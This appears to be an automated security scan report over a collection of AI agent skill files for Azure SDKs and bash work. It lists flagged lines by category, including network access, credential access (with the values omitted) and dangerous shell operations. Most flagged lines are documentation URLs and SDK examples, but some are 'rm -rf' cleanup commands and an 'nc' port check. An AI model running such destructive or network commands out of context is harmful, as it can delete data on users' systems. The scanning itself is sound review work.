- [Microsoft Fabric Documentation](https://learn.microsoft.com/fabric/) - Network accessline 340
- [Fabric Capacity Management](https://learn.microsoft.com/fabric/admin/service-admin-portal-capacity-settings)
skills/azure-mgmt-fabric-py/SKILL.md
skills/azure-mgmt-mongodbatlas-dotnet/SKILL.md
- Network accessline 19
| API Version | 2025-06-01 | | Resource Type | `MongoDB.Atlas/organizations` | | NuGet | [Azure.ResourceManager.MongoDBAtlas](https://www.nuget.org/packages/Azure.ResourceManager.MongoDBAtlas) | - Network accessline 21
| NuGet | [Azure.ResourceManager.MongoDBAtlas](https://www.nuget.org/packages/Azure.ResourceManager.MongoDBAtlas) | - Network accessline 354
- [Microsoft Learn: MongoDB Atlas on Azure](https://learn.microsoft.com/en-us/azure/partner-solutions/mongodb-atlas/) - Network accessline 355
- [API Reference](https://learn.microsoft.com/en-us/dotnet/api/azure.resourcemanager.mongodbatlas) - Network accessline 356
- [Azure SDK for .NET](https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/mongodbatlas)
skills/azure-mgmt-weightsandbiases-dotnet/SKILL.md
- Network accessline 303
# Login with your W&B API key from the Azure-deployed instance wandb.login(host="https://my-company-wandb.wandb.ai") - Network accessline 304
wandb.login(host="https://my-company-wandb.wandb.ai") - Network accessline 325
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.WeightsAndBiases | - Network accessline 326
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.WeightsAndBiases | | W&B Documentation | https://docs.wandb.ai/ | - Network accessline 327
| NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.WeightsAndBiases | - Network accessline 328
| W&B Documentation | https://docs.wandb.ai/ | - Network accessline 329
| Azure Marketplace | https://azuremarketplace.microsoft.com/marketplace/apps/wandb.wandb-pay-as-you-go | - Network accessline 330
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/weightsandbiases |
skills/azure-microsoft-playwright-testing-ts/SKILL.md
- Network accessline 13
> **Migration Notice:** `@azure/microsoft-playwright-testing` is retired on **March 8, 2026**. Use `@azure/playwright` instead. See [migration guide](https://aka.ms/mpt/migration-guidance). - Network accessline 139
await page.goto("https://example.com"); - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted]
skills/azure-monitor-ingestion-java/SKILL.md
- Network accessline 225
| Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-ingestion | - Network accessline 226
|----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-ingestion | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-ingestion | - Network accessline 227
| Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-ingestion | - Network accessline 228
| GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-ingestion | - Network accessline 229
| Product Docs | https://learn.microsoft.com/azure/azure-monitor/logs/logs-ingestion-api-overview | - Network accessline 230
| DCE Overview | https://learn.microsoft.com/azure/azure-monitor/essentials/data-collection-endpoint-overview | - Network accessline 231
| DCR Overview | https://learn.microsoft.com/azure/azure-monitor/essentials/data-collection-rule-overview | - Network accessline 232
| Troubleshooting | https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-ingestion/TROUBLESHOOTING.md |
skills/azure-monitor-ingestion-py/SKILL.md
- Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Network accessline 158
credential = DefaultAzureCredential(authority=AzureAuthorityHosts.AZURE_GOVERNMENT) client = LogsIngestionClient( endpoint="https://example.ingest.monitor.azure.us", - Network accessline 159
client = LogsIngestionClient( endpoint="https://example.ingest.monitor.azure.us", credential=credential, - Network accessline 160
endpoint="https://example.ingest.monitor.azure.us", - Network accessline 161
credential=credential, credential_scopes=["https://monitor.azure.us/.default"] ) - Network accessline 162
credential_scopes=["https://monitor.azure.us/.default"]
skills/azure-monitor-opentelemetry-exporter-java/SKILL.md
- Network accessline 14
> **⚠<U+FE0F> DEPRECATION NOTICE**: This package is deprecated. Migrate to `azure-monitor-opentelemetry-autoconfigure`. > > See [Migration Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporte - Network accessline 16
> See [Migration Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporter/MIGRATION.md) for detailed instructions. - Network accessline 43
APPLICATIONINSIGHTS_CONNECTION_STRING=InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/ - Network accessline 265
2. Update initialization code per [Migration Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporter/MIGRATION.md) - Network accessline 279
| Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-opentelemetry-exporter | - Network accessline 280
|----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-opentelemetry-exporter | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-opentelemetry-exporter | - Network accessline 281
| Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-opentelemetry-exporter | - Network accessline 282
| GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-opentelemetry-exporter | - Network accessline 283
| Migration Guide | https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-opentelemetry-exporter/MIGRATION.md | - Network accessline 284
| Autoconfigure Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-opentelemetry-autoconfigure | - Network accessline 285
| OpenTelemetry Java | https://opentelemetry.io/docs/languages/java/ | - Network accessline 286
| Application Insights | https://learn.microsoft.com/azure/azure-monitor/app/app-insights-overview |
skills/azure-monitor-opentelemetry-exporter-py/SKILL.md
- Network accessline 24
APPLICATIONINSIGHTS_CONNECTION_STRING=InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/ - Network accessline 178
credential = DefaultAzureCredential(authority=AzureAuthorityHosts.AZURE_GOVERNMENT) exporter = AzureMonitorTraceExporter( connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.us/", - Network accessline 179
exporter = AzureMonitorTraceExporter( connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.us/", credential=credential - Network accessline 180
connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.us/",
skills/azure-monitor-opentelemetry-py/SKILL.md
- Network accessline 24
APPLICATIONINSIGHTS_CONNECTION_STRING=InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/ - Network accessline 43
configure_azure_monitor( connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/" - Network accessline 44
connection_string="InstrumentationKey=xxx;IngestionEndpoint=https://xxx.in.applicationinsights.azure.com/"
skills/azure-monitor-query-java/SKILL.md
- Network accessline 16
> - `azure-monitor-query-metrics` — For metrics queries > > See migration guides: [Logs Migration](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-query-logs/migration-guide.md) | [Metrics Migration](https:// - Network accessline 18
> See migration guides: [Logs Migration](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-query-logs/migration-guide.md) | [Metrics Migration](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/ - Network accessline 117
LogsQueryClient logsClient = new LogsQueryClientBuilder() .credential(new DefaultAzureCredentialBuilder().build()) .endpoint("https://api.loganalytics.azure.cn/v1") - Network accessline 118
.credential(new DefaultAzureCredentialBuilder().build()) .endpoint("https://api.loganalytics.azure.cn/v1") .buildClient(); - Network accessline 119
.endpoint("https://api.loganalytics.azure.cn/v1") - Network accessline 123
MetricsQueryClient metricsClient = new MetricsQueryClientBuilder() .credential(new DefaultAzureCredentialBuilder().build()) .endpoint("https://management.chinacloudapi.cn") - Network accessline 124
.credential(new DefaultAzureCredentialBuilder().build()) .endpoint("https://management.chinacloudapi.cn") .buildClient(); - Network accessline 125
.endpoint("https://management.chinacloudapi.cn") - Network accessline 412
| Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-query | - Network accessline 413
|----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-query | | GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-query | - Network accessline 414
| Maven Package | https://central.sonatype.com/artifact/com.azure/azure-monitor-query | - Network accessline 415
| GitHub | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/monitor/azure-monitor-query | - Network accessline 416
| API Reference | https://learn.microsoft.com/java/api/com.azure.monitor.query | - Network accessline 417
| Kusto Query Language | https://learn.microsoft.com/azure/data-explorer/kusto/query/ | - Network accessline 418
| Log Analytics Limits | https://learn.microsoft.com/azure/azure-monitor/service-limits#la-query-api | - Network accessline 419
| Troubleshooting | https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/monitor/azure-monitor-query/TROUBLESHOOTING.md |
skills/azure-monitor-query-py/SKILL.md
skills/azure-postgres-ts/SKILL.md
- Network accessline 71
// Acquire access token for Azure PostgreSQL const tokenResponse = await credential.getToken( "https://ossrdbms-aad.database.windows.net/.default" - Network accessline 72
const tokenResponse = await credential.getToken( "https://ossrdbms-aad.database.windows.net/.default" ); - Network accessline 73
"https://ossrdbms-aad.database.windows.net/.default" - Network accessline 292
private async getToken(): Promise<string> { const tokenResponse = await this.credential.getToken( "https://ossrdbms-aad.database.windows.net/.default" - Network accessline 293
const tokenResponse = await this.credential.getToken( "https://ossrdbms-aad.database.windows.net/.default" ); - Network accessline 294
"https://ossrdbms-aad.database.windows.net/.default" - Network accessline 428
| Default port | `5432` | Standard PostgreSQL port | | PgBouncer port | `6432` | Use when PgBouncer enabled | | Token scope | `https://ossrdbms-aad.database.windows.net/.default` | Entra ID token scope | - Network accessline 429
| PgBouncer port | `6432` | Use when PgBouncer enabled | | Token scope | `https://ossrdbms-aad.database.windows.net/.default` | Entra ID token scope | | Token lifetime | ~1 hour | Refresh before expiry | - Network accessline 430
| Token scope | `https://ossrdbms-aad.database.windows.net/.default` | Entra ID token scope | - Network accessline 473
| Resource | URL | |----------|-----| | node-postgres Docs | https://node-postgres.com | - Network accessline 474
|----------|-----| | node-postgres Docs | https://node-postgres.com | | npm Package | https://www.npmjs.com/package/pg | - Network accessline 475
| node-postgres Docs | https://node-postgres.com | - Network accessline 476
| npm Package | https://www.npmjs.com/package/pg | - Network accessline 477
| GitHub Repository | https://github.com/brianc/node-postgres | - Network accessline 478
| Azure PostgreSQL Docs | https://learn.microsoft.com/azure/postgresql/flexible-server/ | - Network accessline 479
| Passwordless Connection | https://learn.microsoft.com/azure/postgresql/flexible-server/how-to-connect-with-managed-identity |
skills/azure-resource-manager-cosmosdb-dotnet/SKILL.md
- Access to secretsline 34
[Credential-related source omitted]
skills/azure-resource-manager-durabletask-dotnet/SKILL.md
- Access to secretsline 36
[Credential-related source omitted] - Network accessline 378
- [GitHub: Azure.ResourceManager.DurableTask](https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/durabletask/Azure.ResourceManager.DurableTask) - Network accessline 379
- [NuGet: Azure.ResourceManager.DurableTask](https://www.nuget.org/packages/Azure.ResourceManager.DurableTask)
skills/azure-resource-manager-mysql-dotnet/SKILL.md
- Network accessline 368
[Credential-related source omitted] - Network accessline 370
new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" })); - Network accessline 389
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.MySql | - Network accessline 390
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.MySql | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.mysql | - Network accessline 391
| NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.MySql | - Network accessline 392
| API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.mysql | - Network accessline 393
| Product Documentation | https://learn.microsoft.com/azure/mysql/flexible-server/ | - Network accessline 394
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/mysql/Azure.ResourceManager.MySql |
skills/azure-resource-manager-playwright-dotnet/SKILL.md
- Access to secretsline 34
[Credential-related source omitted] - Network accessline 220
| Property | Description | |----------|-------------| | `DataplaneUri` | URI for running tests (e.g., `https://api.dataplane.{guid}.domain.com`) | - Network accessline 221
|----------|-------------| | `DataplaneUri` | URI for running tests (e.g., `https://api.dataplane.{guid}.domain.com`) | | `WorkspaceId` | Unique workspace identifier (GUID) | - Network accessline 222
| `DataplaneUri` | URI for running tests (e.g., `https://api.dataplane.{guid}.domain.com`) | - Network accessline 297
- [Azure.ResourceManager.Playwright API Reference](https://learn.microsoft.com/en-us/dotnet/api/azure.resourcemanager.playwright) - Network accessline 298
- [Microsoft Playwright Testing Overview](https://learn.microsoft.com/en-us/azure/playwright-testing/overview-what-is-microsoft-playwright-testing) - Network accessline 299
- [Quickstart: Run Playwright Tests at Scale](https://learn.microsoft.com/en-us/azure/playwright-testing/quickstart-run-end-to-end-tests)
skills/azure-resource-manager-postgresql-dotnet/SKILL.md
- Network accessline 407
[Credential-related source omitted] - Network accessline 409
new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" })); - Network accessline 429
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.PostgreSql | - Network accessline 430
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.PostgreSql | | API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.postgresql | - Network accessline 431
| NuGet Package | https://www.nuget.org/packages/Azure.ResourceManager.PostgreSql | - Network accessline 432
| API Reference | https://learn.microsoft.com/dotnet/api/azure.resourcemanager.postgresql | - Network accessline 433
| Product Documentation | https://learn.microsoft.com/azure/postgresql/flexible-server/ | - Network accessline 434
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/postgresql/Azure.ResourceManager.PostgreSql |
skills/azure-resource-manager-redis-dotnet/SKILL.md
- Access to secretsline 36
[Credential-related source omitted] - Network accessline 214
// Import data from blob storage var importContent = new ImportRdbContent( files: new[] { "https://mystorageaccount.blob.core.windows.net/container/dump.rdb" }, - Network accessline 215
var importContent = new ImportRdbContent( files: new[] { "https://mystorageaccount.blob.core.windows.net/container/dump.rdb" }, format: "RDB"); - Network accessline 216
files: new[] { "https://mystorageaccount.blob.core.windows.net/container/dump.rdb" }, - Network accessline 222
var exportContent = new ExportRdbContent( prefix: "backup", container: "https://mystorageaccount.blob.core.windows.net/container?sastoken", - Network accessline 223
prefix: "backup", container: "https://mystorageaccount.blob.core.windows.net/container?sastoken", format: "RDB"); - Network accessline 224
container: "https://mystorageaccount.blob.core.windows.net/container?sastoken",
skills/azure-resource-manager-sql-dotnet/SKILL.md
- Access to secretsline 34
[Credential-related source omitted]
skills/azure-search-documents-dotnet/SKILL.md
skills/azure-search-documents-py/SKILL.md
- Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 339
[Credential-related source omitted] - Access to secretsline 358
[Credential-related source omitted]
skills/azure-security-keyvault-keys-dotnet/SKILL.md
- Network accessline 60
var keyVaultName = Environment.GetEnvironmentVariable("KEY_VAULT_NAME"); var kvUri = $"https://{keyVaultName}.vault.azure.net"; - Network accessline 61
var kvUri = $"https://{keyVaultName}.vault.azure.net"; - Network accessline 193
// Or create directly with key ID CryptographyClient cryptoClient = new CryptographyClient( new Uri("https://myvault.vault.azure.net/keys/my-rsa-key/version"), - Network accessline 194
CryptographyClient cryptoClient = new CryptographyClient( new Uri("https://myvault.vault.azure.net/keys/my-rsa-key/version"), new DefaultAzureCredential()); - Network accessline 195
new Uri("https://myvault.vault.azure.net/keys/my-rsa-key/version"), - Network accessline 270
// Resolve key by ID to get CryptographyClient CryptographyClient cryptoClient = await resolver.ResolveAsync( new Uri("https://myvault.vault.azure.net/keys/my-key/version")); - Network accessline 272
new Uri("https://myvault.vault.azure.net/keys/my-key/version")); - Network accessline 403
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Security.KeyVault.Keys | - Network accessline 404
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Security.KeyVault.Keys | | API Reference | https://learn.microsoft.com/dotnet/api/azure.security.keyvault.keys | - Network accessline 405
| NuGet Package | https://www.nuget.org/packages/Azure.Security.KeyVault.Keys | - Network accessline 406
| API Reference | https://learn.microsoft.com/dotnet/api/azure.security.keyvault.keys | - Network accessline 407
| Quickstart | https://learn.microsoft.com/azure/key-vault/keys/quick-create-net | - Network accessline 408
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/keyvault/Azure.Security.KeyVault.Keys |
skills/azure-security-keyvault-secrets-java/SKILL.md
- Network accessline 245
// Usage ConfigLoader loader = new ConfigLoader("https://my-vault.vault.azure.net"); - Network accessline 246
ConfigLoader loader = new ConfigLoader("https://my-vault.vault.azure.net"); - Network accessline 340
// JSON configuration secretClient.setSecret(new KeyVaultSecret("app-config", "{\"endpoint\":\"https://...\",\"key\":\"...\"}") - Network accessline 341
secretClient.setSecret(new KeyVaultSecret("app-config", "{\"endpoint\":\"https://...\",\"key\":\"...\"}") .setProperties(new SecretProperties() - Network accessline 342
"{\"endpoint\":\"https://...\",\"key\":\"...\"}")
skills/azure-servicebus-dotnet/SKILL.md
- Network accessline 330
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.ServiceBus | - Network accessline 331
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.Messaging.ServiceBus | | API Reference | https://learn.microsoft.com/dotnet/api/azure.messaging.servicebus | - Network accessline 332
| NuGet Package | https://www.nuget.org/packages/Azure.Messaging.ServiceBus | - Network accessline 333
| API Reference | https://learn.microsoft.com/dotnet/api/azure.messaging.servicebus | - Network accessline 334
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/servicebus/Azure.Messaging.ServiceBus | - Network accessline 335
| Troubleshooting | https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/TROUBLESHOOTING.md |
skills/azure-speech-to-text-rest-py/SKILL.md
- Network accessline 17
1. **Azure subscription** - [Create one free](https://azure.microsoft.com/free/) - Network accessline 18
2. **Speech resource** - Create in [Azure Portal](https://portal.azure.com/#create/Microsoft.CognitiveServicesSpeechServices) - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Network accessline 49
url = f"https://{region}.stt.speech.microsoft.com/speech/recognition/conversation/cognitiveservices/v1" - Access to secretsline 52
[Credential-related source omitted] - Network accessline 62
with open(audio_file_path, "rb") as audio_file: response = requests.post(url, headers=headers, params=params, data=audio_file) - Network accessline 63
response = requests.post(url, headers=headers, params=params, data=audio_file) - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Network accessline 148
url = f"https://{region}.stt.speech.microsoft.com/speech/recognition/conversation/cognitiveservices/v1" - Access to secretsline 151
[Credential-related source omitted] - Network accessline 165
response = requests.post( - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Network accessline 197
token_url = f"https://{region}.api.cognitive.microsoft.com/sts/v1.0/issueToken" - Network accessline 199
response = requests.post( - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted] - Access to secretsline 258
[Credential-related source omitted] - Network accessline 260
url = f"https://{region}.stt.speech.microsoft.com/speech/recognition/conversation/cognitiveservices/v1" - Network accessline 262
try: with open(audio_path, "rb") as audio_file: response = requests.post( - Network accessline 263
with open(audio_path, "rb") as audio_file: response = requests.post( url, - Network accessline 264
response = requests.post( - Access to secretsline 267
[Credential-related source omitted] - Access to secretsline 307
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted] - Network accessline 310
url = f"https://{region}.stt.speech.microsoft.com/speech/recognition/conversation/cognitiveservices/v1" - Access to secretsline 313
[Credential-related source omitted] - Network accessline 320
async with aiohttp.ClientSession() as session: - Network accessline 335
Common language codes (see [full list](https://learn.microsoft.com/azure/ai-services/speech-service/language-support)):
skills/azure-storage-blob-rust/SKILL.md
- Network accessline 130
| Resource | Link | |----------|------| | API Reference | https://docs.rs/azure_storage_blob | - Network accessline 131
|----------|------| | API Reference | https://docs.rs/azure_storage_blob | | Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/storage/azure_storage_blob | - Network accessline 132
| API Reference | https://docs.rs/azure_storage_blob | - Network accessline 133
| Source Code | https://github.com/Azure/azure-sdk-for-rust/tree/main/sdk/storage/azure_storage_blob | - Network accessline 134
| crates.io | https://crates.io/crates/azure_storage_blob |
skills/azure-storage-blob-ts/SKILL.md
- Network accessline 40
const accountName = process.env.AZURE_STORAGE_ACCOUNT_NAME!; const client = new BlobServiceClient( `https://${accountName}.blob.core.windows.net`, - Network accessline 41
const client = new BlobServiceClient( `https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential() - Network accessline 42
`https://${accountName}.blob.core.windows.net`, - Access to secretsline 63
[Credential-related source omitted] - Network accessline 65
const sharedKeyCredential = new StorageSharedKeyCredential(accountName, accountKey); const client = new BlobServiceClient( `https://${accountName}.blob.core.windows.net`, - Network accessline 66
const client = new BlobServiceClient( `https://${accountName}.blob.core.windows.net`, sharedKeyCredential - Network accessline 67
`https://${accountName}.blob.core.windows.net`, - Access to secretsline 78
[Credential-related source omitted] - Network accessline 80
const client = new BlobServiceClient( `https://${accountName}.blob.core.windows.net${sasToken}` - Network accessline 81
`https://${accountName}.blob.core.windows.net${sasToken}` - Network accessline 318
const sasUrl = `https://${accountName}.blob.core.windows.net/my-container/my-file.txt?${sasToken}`;
skills/azure-storage-file-share-py/SKILL.md
skills/azure-storage-file-share-ts/SKILL.md
- Access to secretsline 50
[Credential-related source omitted] - Network accessline 52
const sharedKeyCredential = new StorageSharedKeyCredential(accountName, accountKey); const client = new ShareServiceClient( `https://${accountName}.file.core.windows.net`, - Network accessline 53
const client = new ShareServiceClient( `https://${accountName}.file.core.windows.net`, sharedKeyCredential - Network accessline 54
`https://${accountName}.file.core.windows.net`, - Network accessline 65
const accountName = process.env.AZURE_STORAGE_ACCOUNT_NAME!; const client = new ShareServiceClient( `https://${accountName}.file.core.windows.net`, - Network accessline 66
const client = new ShareServiceClient( `https://${accountName}.file.core.windows.net`, new DefaultAzureCredential() - Network accessline 67
`https://${accountName}.file.core.windows.net`, - Access to secretsline 78
[Credential-related source omitted] - Network accessline 80
const client = new ShareServiceClient( `https://${accountName}.file.core.windows.net${sasToken}` - Network accessline 81
`https://${accountName}.file.core.windows.net${sasToken}` - Network accessline 284
const sourceUrl = "https://account.file.core.windows.net/share/source.txt"; - Network accessline 392
const sasUrl = `https://${accountName}.file.core.windows.net/my-share/my-directory/my-file.txt?${sasToken}`;
skills/azure-storage-queue-ts/SKILL.md
- Network accessline 40
const accountName = process.env.AZURE_STORAGE_ACCOUNT_NAME!; const client = new QueueServiceClient( `https://${accountName}.queue.core.windows.net`, - Network accessline 41
const client = new QueueServiceClient( `https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential() - Network accessline 42
`https://${accountName}.queue.core.windows.net`, - Access to secretsline 63
[Credential-related source omitted] - Network accessline 65
const sharedKeyCredential = new StorageSharedKeyCredential(accountName, accountKey); const client = new QueueServiceClient( `https://${accountName}.queue.core.windows.net`, - Network accessline 66
const client = new QueueServiceClient( `https://${accountName}.queue.core.windows.net`, sharedKeyCredential - Network accessline 67
`https://${accountName}.queue.core.windows.net`, - Access to secretsline 78
[Credential-related source omitted] - Network accessline 80
const client = new QueueServiceClient( `https://${accountName}.queue.core.windows.net${sasToken}` - Network accessline 81
`https://${accountName}.queue.core.windows.net${sasToken}` - Network accessline 362
// Custom encoder/decoder for plain text const queueClient = new QueueClient( `https://${accountName}.queue.core.windows.net/my-queue`, - Network accessline 363
const queueClient = new QueueClient( `https://${accountName}.queue.core.windows.net/my-queue`, credential, - Network accessline 364
`https://${accountName}.queue.core.windows.net/my-queue`, - Network accessline 371
// Or with custom encoder const customQueueClient = new QueueClient( `https://${accountName}.queue.core.windows.net/my-queue`, - Network accessline 372
const customQueueClient = new QueueClient( `https://${accountName}.queue.core.windows.net/my-queue`, credential, - Network accessline 373
`https://${accountName}.queue.core.windows.net/my-queue`, - Network accessline 407
const sasUrl = `https://${accountName}.queue.core.windows.net/my-queue?${sasToken}`;
skills/azure-web-pubsub-ts/SKILL.md
- Access to secretsline 67
[Credential-related source omitted] - Network accessline 153
const client2 = new WebPubSubClient({ getClientAccessUrl: async () => { const response = await fetch("/negotiate"); - Network accessline 154
getClientAccessUrl: async () => { const response = await fetch("/negotiate"); const { url } = await response.json(); - Network accessline 155
const response = await fetch("/negotiate");
skills/backend-dev-guidelines/SKILL.md
- Access to secretsline 161
[Credential-related source omitted]
skills/backend-dev-guidelines/resources/configuration.md
- Access to secretsline 138
[Credential-related source omitted] - Network accessline 180
realm = myapp client = myapp-client baseUrl = http://localhost:8080 - Network accessline 181
[Credential-related source omitted] - Network accessline 182
baseUrl = http://localhost:8080 - Network accessline 185
[sentry] dsn = https://your-sentry-dsn - Network accessline 186
dsn = https://your-sentry-dsn - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 214
[Credential-related source omitted] - Access to secretsline 231
[Credential-related source omitted] - Access to secretsline 253
[Credential-related source omitted]
skills/backend-dev-guidelines/resources/testing-guide.md
- Network accessline 190
# Test authenticated endpoint node scripts/test-auth-route.js http://localhost:3002/form/api/users - Network accessline 191
node scripts/test-auth-route.js http://localhost:3002/form/api/users - Network accessline 193
# Test with POST data node scripts/test-auth-route.js http://localhost:3002/form/api/users POST '{"email":"test@test.com"}' - Network accessline 194
node scripts/test-auth-route.js http://localhost:3002/form/api/users POST '{"email":"test@test.com"}'
skills/backtesting-frameworks/resources/implementation-playbook.md
- Network accessline 645
- [Advances in Financial Machine Learning (Marcos López de Prado)](https://www.amazon.com/Advances-Financial-Machine-Learning-Marcos/dp/1119482089) - Network accessline 646
- [Quantitative Trading (Ernest Chan)](https://www.amazon.com/Quantitative-Trading-Build-Algorithmic-Business/dp/1119800064) - Network accessline 647
- [Backtrader Documentation](https://www.backtrader.com/docu/)
skills/bamboohr-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/basecamp-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/bash-defensive-patterns/resources/implementation-playbook.md
- Dangerous shell operationline 29
trap 'echo "Cleaning up..."; rm -rf "$TMPDIR"' EXIT - Dangerous shell operationline 146
trap 'rm -rf -- "$TMPDIR"' EXIT - Dangerous shell operationline 327
# Use -I flag to prompt before rm (BSD/GNU compatible) - Dangerous shell operationline 328
rm -rI -- "$dir" - Dangerous shell operationline 428
run_cmd rm "$file" - Network accessline 515
- **Bash Strict Mode**: http://redsymbol.net/articles/unofficial-bash-strict-mode/ - Network accessline 516
- **Google Shell Style Guide**: https://google.github.io/styleguide/shellguide.html - Network accessline 517
- **Defensive BASH Programming**: https://www.lifepipe.net/
skills/bash-linux/SKILL.md
- Broad permissionsline 1
Read, Write, Edit, Glob, Grep, Bash - Network accessline 91
| Task | Command | |------|---------| | Download | `curl -O https://example.com/file` | - Network accessline 92
|------|---------| | Download | `curl -O https://example.com/file` | | API request | `curl -X GET https://api.example.com` | - Network accessline 93
| Download | `curl -O https://example.com/file` | - Network accessline 94
| API request | `curl -X GET https://api.example.com` | - Network accessline 95
| POST JSON | `curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' URL` | - Network accessline 96
| Check port | `nc -zv localhost 3000` | - Dangerous shell operationline 194
rm -f /tmp/tempfile
skills/bash-pro/SKILL.md
- Dangerous shell operationline 62
- End option parsing with `--` and use `rm -rf -- "$dir"` for safe operations - Network accessline 99
- Declare constants with `readonly` to prevent accidental modification - Use `local` keyword for all function variables to avoid polluting global scope - Implement `timeout` for external commands: `timeout 30s curl ...` prevents hangs - Network accessline 100
- Use `local` keyword for all function variables to avoid polluting global scope - Implement `timeout` for external commands: `timeout 30s curl ...` prevents hangs - Validate file permissions before operations: `[[ -r "$file" ]] || exit 1` - Network accessline 101
- Implement `timeout` for external commands: `timeout 30s curl ...` prevents hangs - Dangerous shell operationline 109
- Use `--` to separate options from arguments: `rm -rf -- "$user_input"` - Dangerous shell operationline 176
- **Privilege analysis**: Audit scripts for unnecessary root/sudo requirements - Dangerous shell operationline 274
- **Safe Temp Handling**: `trap 'rm -rf "$tmpdir"' EXIT; tmpdir=$(mktemp -d)` - Network accessline 295
### Style Guides & Best Practices - [Google Shell Style Guide](https://google.github.io/styleguide/shellguide.html) - Comprehensive style guide covering quoting, arrays, and when to use shell - Network accessline 296
